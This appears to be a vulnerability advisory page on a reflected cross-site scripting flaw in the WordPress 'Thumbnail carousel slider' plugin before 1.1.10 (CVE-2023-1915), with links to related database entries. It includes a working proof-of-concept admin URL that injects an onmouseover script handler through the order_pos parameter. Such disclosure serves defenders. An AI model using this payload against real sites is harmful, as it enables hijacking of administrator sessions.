Lucene search
Chien VuongWPEX-ID:0487C3F6-1A3C-4089-A614-15138F52F69BHistoryApr 18, 2023 - 12:00 a.m.
Thumbnail carousel slider < 1.1.10 - Reflected XSS
2023-04-1800:00:00
Chien Vuong
49
xss
logged in admin
get request
0.001 Low
EPSS
Percentile
31.2%
The plugin does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting vulnerability which could be used against high privilege users such as admin.
Make a logged in admin open: GET /wp-admin/admin.php?page=responsive_thumbnail_slider_image_management&order_by=title&order_pos=uqxt1%22%20onmouseover%3dalert(1)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20cxz0m
Affected parameters: order_by, order_pos, and search_termRelated
prion
prion
Cross site scripting
2023-05-15 13:15:00
cvelist
cvelist
CVE-2023-1915 Thumbnail carousel slider < 1.1.10 - Reflected XSS
2023-05-15 12:15:33
nvd
nvd
CVE-2023-1915
2023-05-15 13:15:10
cve
cve
CVE-2023-1915
2023-05-15 13:15:10
wpvulndb
wpvulndb
Thumbnail carousel slider < 1.1.10 - Reflected XSS
2023-04-18 00:00:00
wordfence
wordfence